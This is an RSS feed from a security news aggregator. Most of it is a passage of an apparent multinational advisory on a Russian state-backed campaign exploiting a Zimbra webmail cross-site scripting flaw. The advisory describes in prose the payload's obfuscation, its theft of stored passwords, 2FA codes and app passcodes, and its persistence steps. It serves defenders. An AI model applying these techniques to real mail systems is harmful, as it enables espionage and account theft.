<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="/rss-style.xsl"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=saved+348year+with+selfhosted%2F]]></link>
<description><![CDATA[Das Gesamte Cyber Threat Intelligence Feed-Archiv von TSecurity.de. Alle Nachrichten, Sicherheitsmeldungen, Videos, Downloads und Analysen in einer zentralen Übersicht.]]></description>
<language>de-DE</language>
<lastBuildDate>Wed, 29 Jul 2026 08:41:26 +0200</lastBuildDate>
<pubDate>Wed, 29 Jul 2026 08:41:26 +0200</pubDate>
<ttl>15</ttl>
<copyright>2026 Team IT Security</copyright>
<managingEditor>lakandor@tsecurity.de (Horus Sirius)</managingEditor>
<webMaster>lakandor@tsecurity.de (Horus Sirius)</webMaster>
<category>IT Security</category>
<category>Cybersecurity</category>
<category>Nachrichten</category>
<generator>Team IT Security RSS Generator v2.0</generator>
<image>
<url>https://tsecurity.de/favicon.ico</url>
<title><![CDATA[Team IT Security - 📰 Alle Kategorien]]></title>
<link><![CDATA[https://tsecurity.de/export/rss/alle-kategorien.xml?q=saved+348year+with+selfhosted%2F]]></link>
</image>
<atom:link href="https://tsecurity.de/export/rss/it-security.xml?q=saved+348year+with+selfhosted%2F" rel="self" type="application/rss+xml" />
<item>
<title><![CDATA[July was a disappointing month for new horror releases — but this one Netflix show saved the day]]></title>
<description><![CDATA[July was a flop when it came to new horror releases, but I am very thankful for this underrated Netflix show]]></description>
<link>https://tsecurity.de/de/3694900/it-nachrichten/july-was-a-disappointing-month-for-new-horror-releases-but-this-one-netflix-show-saved-the-day/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694900/it-nachrichten/july-was-a-disappointing-month-for-new-horror-releases-but-this-one-netflix-show-saved-the-day/</guid>
<pubDate>Sat, 25 Jul 2026 22:16:02 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[July was a flop when it came to new horror releases, but I am very thankful for this underrated Netflix show]]></content:encoded>
</item>
<item>
<title><![CDATA[Hackers Use Stealer Logs to Bypass MFA and Launch Ransomware Attacks]]></title>
<description><![CDATA[Infostealer malware has now become the invisible thread linking petty credential theft to full-blown ransomware campaigns. Attackers no longer bother forcing their way through firewalls when infostealers have already unlocked the front door for them. Documented by DarkOwl, a stealer log archive g...]]></description>
<link>https://tsecurity.de/de/3694549/hacking/hackers-use-stealer-logs-to-bypass-mfa-and-launch-ransomware-attacks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694549/hacking/hackers-use-stealer-logs-to-bypass-mfa-and-launch-ransomware-attacks/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:41 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Infostealer malware has now become the invisible thread linking petty credential theft to full-blown ransomware campaigns. Attackers no longer bother forcing their way through firewalls when infostealers have already unlocked the front door for them. Documented by DarkOwl, a stealer log archive generated by infostealer malware that silently harvests browser-saved passwords, session cookies, cryptocurrency wallet data, […]</p>
<p>The post <a href="https://gbhackers.com/hackers-stealer-logs-launch-ransomware-attacks/">Hackers Use Stealer Logs to Bypass MFA and Launch Ransomware Attacks</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hackers Use Stealer Logs to Bypass MFA and Launch Ransomware Attacks]]></title>
<description><![CDATA[Infostealer malware has now become the invisible thread linking petty credential theft to full-blown ransomware campaigns. Attackers no longer bother forcing their way through firewalls when infostealers have already unlocked the front door for them. Documented by DarkOwl, a stealer log archive g...]]></description>
<link>https://tsecurity.de/de/3694477/it-security-nachrichten/hackers-use-stealer-logs-to-bypass-mfa-and-launch-ransomware-attacks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694477/it-security-nachrichten/hackers-use-stealer-logs-to-bypass-mfa-and-launch-ransomware-attacks/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Infostealer malware has now become the invisible thread linking petty credential theft to full-blown ransomware campaigns. Attackers no longer bother forcing their way through firewalls when infostealers have already unlocked the front door for them. Documented by DarkOwl, a stealer log archive generated by infostealer malware that silently harvests browser-saved passwords, session cookies, cryptocurrency wallet data, […]</p>
<p>The post <a href="https://gbhackers.com/hackers-stealer-logs-launch-ransomware-attacks/">Hackers Use Stealer Logs to Bypass MFA and Launch Ransomware Attacks</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]></title>
<description><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboratio...]]></description>
<link>https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694430/it-security-nachrichten/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</guid>
<pubDate>Sat, 25 Jul 2026 18:59:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="c-page-title__buttons"><a class="c-button" href="https://media.defense.gov/2026/Jul/22/2003965244/-1/-1/1/CSA_RUSSIA_PHISHING_TARGET_ZIMBRA.PDF">Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite</a></div>
<h2><strong>Executive summary</strong> </h2>
<p>A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see <a href="https://www.cisa.gov/#cyber1">Cybersecurity industry tracking</a>), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [<a href="https://www.cisa.gov/#wc1">1</a>].</p>
<p>LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.</p>
<p>Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section.</p>
<p>This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:</p>
<ul>
<li>United States National Security Agency (NSA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>Netherlands Defence Intelligence and Security Service (MIVD)</li>
<li>Netherlands General Intelligence and Security Service (AIVD)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Defense Counterintelligence and Security Agency (DCSA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Department of the Treasury</li>
<li>United States Naval Criminal Investigative Service (NCIS)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#f1"><sup>1</sup></a></li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#f2"><sup>2</sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#f3"><sup>3</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#f4"><sup>4</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#f5"><sup>5</sup></a></li>
<li>French General Directorate for Internal Security (DGSI)<a href="https://www.cisa.gov/#f6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#f7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#f8"><sup>8</sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#f9"><sup>9</sup></a></li>
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM)<a href="https://www.cisa.gov/#f10"><sup>10</sup></a></li>
<li>Polish Foreign Intelligence Agency (AW)<a href="https://www.cisa.gov/#f11"><sup>11</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#f12"><sup>12</sup></a></li>
<li>Spain National Intelligence Centre (CNI)<a href="https://www.cisa.gov/#f13"><sup>13</sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#f14"><sup>14</sup></a></li>
</ul>
<p>The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the <a href="https://www.cisa.gov/#mitigations1">Mitigations</a> section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed <a href="https://www.cisa.gov/#ioc1">Indicators of compromise</a> (IOCs).  </p>
<p>As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.</p>
<p>For a downloadable list of IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.xml">AA26-204A.stix.xml</a> (STIX XML)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.json">AA26-204A.stix.json</a> (STIX JSON)</li>
</ul>
<h2><strong>Cybersecurity industry tracking</strong><a class="ck-anchor"></a></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:</p>
<ul>
<li>LAUNDRY BEAR</li>
<li>Void Blizzard [<a href="https://www.cisa.gov/#wc2">2</a>]</li>
<li>CL-STA-1114 [<a href="https://www.cisa.gov/#wc3">3</a>]</li>
<li>TA488 (formerly UNK_PitStop) [<a href="https://www.cisa.gov/#wc4">4</a>]</li>
</ul>
<p><strong>Note:</strong> Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.</p>
<h2><strong>Background</strong></h2>
<p>Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [<a href="https://www.cisa.gov/#wc1">1</a>] [<a href="https://www.cisa.gov/#wc2">2</a>]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  </p>
<p>The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank">T1114.002</a>]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [<a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank">T1078</a>], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence &amp; Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [<a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank">T1557</a>].  </p>
<p>Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank">T1587.001</a>] named “<em>Улей</em>” or “<em>Ulej</em>” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank">T1114</a>]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:</p>
<ul>
<li>Last 90 days of emails,</li>
<li>Email address,</li>
<li>Password [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank">T1589.001</a>],</li>
<li>Global Address List (GAL) [<a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank">T1087</a>],</li>
<li>Two-factor authentication (2FA) tokens, and</li>
<li>Newly-created Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank">T1098</a>].</li>
</ul>
<p>The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.</p>
<h2><strong>Targeting details</strong></h2>
<p>LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:</p>
<ul>
<li>the Defense Industrial Base (DIB),  </li>
<li>the federal and local government,</li>
<li>education,</li>
<li>energy,</li>
<li>law enforcement,  </li>
<li>media,  </li>
<li>non-governmental organizations, and</li>
<li>technology.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a> framework, version 19. This advisory also uses <a href="https://d3fend.mitre.org/" target="_blank">MITRE D3FEND<sup>TM</sup></a> version 1.4.0<a href="https://www.cisa.gov/#f15"><sup>15</sup></a>. See <a href="https://www.cisa.gov/#appendixa">Appendix A</a> and <a href="https://www.cisa.gov/#appendixb">Appendix B</a> for tables of the activity mapped to MITRE ATT&amp;CK and D3FEND tactics, techniques, and countermeasures.</p>
<p><em>Ulej </em>is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> [Common Weakness Enumeration (CWE) <a href="https://cwe.mitre.org/data/definitions/79.html" target="_blank">CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'</a>)], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank">T1074.002</a>] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.</p>
<h3><em><strong>Reconnaissance</strong></em></h3>
<p>LAUNDRY BEAR uses the <em>Ulej </em>capability to exploit the <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank">T1595</a>] and fingerprinting datasets easily procured through various commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank">T1596.005</a>].  </p>
<p>After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank">T1589.002</a>] from datasets offered by commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank">T1597.002</a>], open source intelligence [<a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank">T1593</a>], or previously exfiltrated data [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank">T1597</a>].  </p>
<h3><em><strong>Resource development </strong></em><a class="ck-anchor"></a></h3>
<p>The actors procure VPSs from a variety of providers [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/">T1583</a>] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for <em>Ulej’s</em> Flowerbed framework [<a href="https://attack.mitre.org/versions/v19/techniques/T1608/">T1608</a>], which then receives and aggregates the data <em>Ulej</em> exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.</p>
<h4><strong>Flowerbed framework</strong></h4>
<p>Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:</p>
<ul>
<li>Catcher,</li>
<li>Certbot,</li>
<li>Nginx, and</li>
<li>Gardener.</li>
</ul>
<p>Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/">T1048</a>]. For additional information on Catcher, refer to the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank">T1048.002</a>]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.</p>
<p>The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank">T1588.007</a>]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank">T1588.002</a>], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.</p>
<h3><em><strong>Initial access</strong></em></h3>
<p>To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [<a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank">T1566</a>]. Through exploitation of <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, this JavaScript payload is immediately executed once the user views the malicious email [<a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank">T1203</a>], such as the one shown in <a href="https://www.cisa.gov/#figure1"><strong>Figure 1</strong></a>, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [<a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank">T1199</a>], as shown in the email metadata in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure1.png?itok=yrzcl7tK" width="604" height="235" alt="Figure 1: Example of malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 1: Example of malicious email</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure2.png?itok=vEulmmyx" width="604" height="102" alt="Figure 2: Headers from an example malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 2: Headers from an example malicious email</strong></em></figcaption>
  </figure>
<p>According to the National Vulnerability Database (NVD), <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-66376" target="_blank">CVE-2025-66376</a> was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [<a href="https://www.cisa.gov/#wc5">5</a>]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank">T1587.004</a>].  </p>
<p><strong>Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.</strong></p>
<p>Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank">T1027.017</a>], as shown in <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a>. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>) [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank">T1027.013</a>]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank">T1027.010</a>], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [<a href="https://attack.mitre.org/versions/v19/techniques/T1119/">T1119</a>]. The stages in order of appearance within the payload are as follows:</p>
<ol>
<li>sendStartPing,</li>
<li>gather_email,</li>
<li>gather_environment,</li>
<li>gather_2fa_codes,</li>
<li>gather_app_password,</li>
<li>gather_device_status,</li>
<li>gather_oauth_consumers,</li>
<li>gather_autocomplete_password,</li>
<li>enable_mail_protocols,</li>
<li>gather_gal,</li>
<li>sendArchives, and</li>
<li>sendFinishPing. </li>
</ol>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure3_0.png?itok=M-bj5-nb" width="607" height="577" alt="Figure 3: Malicious payload of example email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 3: Malicious payload of example email</strong></em></figcaption>
  </figure>
<p>Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank">T1587</a>].</p>
<h3><em><strong>Persistence and credential access</strong></em><a class="ck-anchor"></a></h3>
<p>To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [<a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank">T1550.004</a>], and the Zimbra campaign follows a similar trend.</p>
<p>The script used in this campaign tries to discover the victim’s email address during the <em>gather_email</em> stage [<a href="https://attack.mitre.org/techniques/T1087/" target="_blank">T1087</a>]. The script searches for this email address in two ways. First, it examines the <em>batchInfoResponse </em>variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [<a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank">T1185</a>] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of <em>null </em>over HTTPS and does not attempt DNS exfiltration.</p>
<p>During the <em>gather_autocomplete_password</em> stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a><strong> </strong>and <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a>. If there is no value in that input field, it checks the password input field shown in <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of <em>null </em>is sent over HTTPS and DNS exfiltration is not attempted.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure4.png?itok=ZOZ8JHZC" width="1024" height="188" alt="Figure 4: First illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 4: First illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure5.png?itok=8xZU_GCa" width="1024" height="115" alt="Figure 5: Second illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 5: Second illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p>LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the <em>enable_mail_protocols</em> stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.</p>
<p>ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the <em>gather_app_password</em> stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank">T1556.006</a>]. The SOAP request uses “ZimbraWeb” as the name of the application.</p>
<p>Additionally, the script also attempts to collect 2FA tokens. During the <em>gather_2fa_codes</em> stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.</p>
<h3><em><strong>Collection</strong></em><a class="ck-anchor"></a></h3>
